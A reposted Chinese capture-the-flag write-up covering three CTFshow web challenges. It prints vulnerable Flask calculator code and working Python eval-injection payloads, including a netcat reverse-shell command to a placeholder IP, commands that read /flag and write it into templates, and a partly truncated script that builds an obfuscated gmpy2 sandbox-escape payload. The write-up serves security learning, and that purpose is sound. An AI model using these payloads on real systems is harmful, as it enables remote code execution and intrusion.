CTFshow-菜狗杯-算力超群-算力升级-无一幸免FIXED
算力超群
题目来源
CTFshow-菜狗杯-WEB
题目考点
简单沙箱逃逸
题目源码
题目源码来自writeup
# -*- coding: utf-8 -*-# @Time : 2022/11/2# @Author : 探姬# @Forkfrom:https://github.com/helloflask/calculatorimport refrom flask import Flask, jsonify, render_template, requestapp = Flask(__name__)@app.route('/_calculate')def calculate(): a = request.args.get('number1', '0') operator = request.args.get('operator', '+') b = request.args.get('number2', '0') m = re.match(r'^\-?\d*[.]?\d*$', a) n = re.match(r'^\-?\d*[.]?\d*$', a) if m is None or n is None or operator not in '+-*/': return jsonify(result='Error!') if operator == '/': result = eval(a + operator + str(float(b))) else: result = eval(a + operator + b) return jsonify(result=result)@app.route('/')def index(): return render_template('index.html')@app.route('/hint')def hint(): return render_template('hint.html')if __name__ == '__main__': app.run()
解题过程
执行请求 http://1ed5282a-5e0e-42a0-b8a0-460fe11c6202.challenge.ctf.show/_calculate?number1=7&operator=*&number2=XXXX 报错如下:
审阅源码得到
m = re.match(r'^\-?\d*[.]?\d*$', a)n = re.match(r'^\-?\d*[.]?\d*$', a)
粗心的复制粘贴导致最后一个变量没有任何校验,所以直接使用b进行执行。
先拿报错骗出路径,因为没有回显,所以我们将结果写入可见的路由部分就好了。
#g4的payload
payload:?number2=1,__import__('os').system('nc xxx.xxx.xxx.xxx 1234 -e sh')
或者其他无回显的payload
通过写文件回显
_calculate?number1=1&operator=%2B&number2=2,__import__('os').system('ls / >/app/templates/hint.html')_calculate?number1=1&operator=%2B&number2=2,__import__('os').system('cat /flag >/app/templates/hint.html')
构造展示文件目录的Payload
_calculate?number1=1&operator=%2B&number2=2,__import__('os').system('ls / >/app/templates/hint.html')
执行Payload
回显结果如下
访问 http://7125305f-e54e-406f-91cd-3c92b19e4813.challenge.ctf.show/hint 得到如下结果
构造读取flag文件的Payload
_calculate?number1=1&operator=%2B&number2=2,__import__('os').system('cat /flag >/app/templates/hint.html')
执行Payload,得到如下结果
再次访问 http://7125305f-e54e-406f-91cd-3c92b19e4813.challenge.ctf.show/hint 得到flag
ctfshow{34063eb3-8e41-468f-946e-c21fb0086e32}
另一种方法
/_calculate?number1=&operator=&number2=__import__('os').popen('ls /').read()/_calculate?number1=&operator=&number2=__import__('os').popen('tac /flag').read()
算力升级
题目来源
CTFshow-菜狗杯-WEB
题目考点
gmpy2.__builtins的命令执行
题目源码
# !/usr/bin/env python # -*-coding:utf-8 -*- """ # File : app.py # Time :2022/10/20 15:16 # Author :g4_simon # version :python 3.9.7 # Description:算力升级--这其实是一个pyjail题目 """ from flask import * import os import re,gmpy2 import json #初始化全局变量 app = Flask(__name__) pattern=re.compile(r'\w+') @app.route('/', methods=['GET']) def index(): return render_template('index.html') @app.route('/tiesuanzi', methods=['POST']) def tiesuanzi(): code=request.form.get('code') for item in pattern.findall(code):#从code里把单词拿出来 if not re.match(r'\d+$',item):#如果不是数字 if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较 return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"}) try: result=eval(code) return jsonify({"result":0,"msg":f"计算成功,答案是{result}"}) except: return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"}) @app.route('/source', methods=['GET']) def source(): return render_template('source.html') if __name__ == '__main__': app.run(host='0.0.0.0',port=80,debug=False)
题目提示
提示:输入算式即可让R4帮你进行计算,本次R4重装升级,已经支持gmpy2了,可以使用gmpy2的函数进行计算,那我们赶快开始吧!
解题过程
打开题目链接,得到如下界面
点击 左上角查看源码,得到源码
# !/usr/bin/env python # -*-coding:utf-8 -*- """ # File : app.py # Time :2022/10/20 15:16 # Author :g4_simon # version :python 3.9.7 # Description:算力升级--这其实是一个pyjail题目 """ from flask import * import os import re,gmpy2 import json #初始化全局变量 app = Flask(__name__) pattern=re.compile(r'\w+') @app.route('/', methods=['GET']) def index(): return render_template('index.html') @app.route('/tiesuanzi', methods=['POST']) def tiesuanzi(): code=request.form.get('code') for item in pattern.findall(code):#从code里把单词拿出来 if not re.match(r'\d+$',item):#如果不是数字 if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较 return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"}) try: result=eval(code) return jsonify({"result":0,"msg":f"计算成功,答案是{result}"}) except: return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"}) @app.route('/source', methods=['GET']) def source(): return render_template('source.html') if __name__ == '__main__': app.run(host='0.0.0.0',port=80,debug=False)
通过审计源码可知,如何绕过执行的限制是关键。
审计源码可知,源码对于输入的限制是两个正则,要求要么是数字,要么是dir(gmpy2)中的内容。我们在自己的环境中试一下,发现gmpy2.__builtins__是含有eval的,思路就是使用eval和dir(gmpy2)中的内容拼接字符串,payload生成脚本如下:
s="__import__('os').popen('cat /flag').read()"import gmpy2payload="gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]("for i in s: if i not in "/'(). ": temp_index=0 temp_string='x'*20 for j in dir(gmpy2): if j.find(i)>=0: if len(j)
执行Payload,得到flag
ctfshow{0ffe7319-b454-455d-bdae-fbbad7a7521a}
无一幸免FIXED
题目来源
CTFshow-菜狗杯-WEB
题目考点
数组整型溢出绕过赋值式“永真”判断
题目源码
解题过程
打开题目链接,得到题目源码界面如下:
审阅代码,可知这道题目需要用到整形数组溢出去解答
构造Payload如下
http://3dc6fa9e-1ce1-4e63-8767-bb0f3db5bf2b.challenge.ctf.show/?0=9223372036854775807
执行Payload得到flag
ctfshow{bb86b68a-9f7a-4980-8494-8d1e8cc2fb6d}
来源地址:https://blog.csdn.net/qq_31415417/article/details/129248647
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341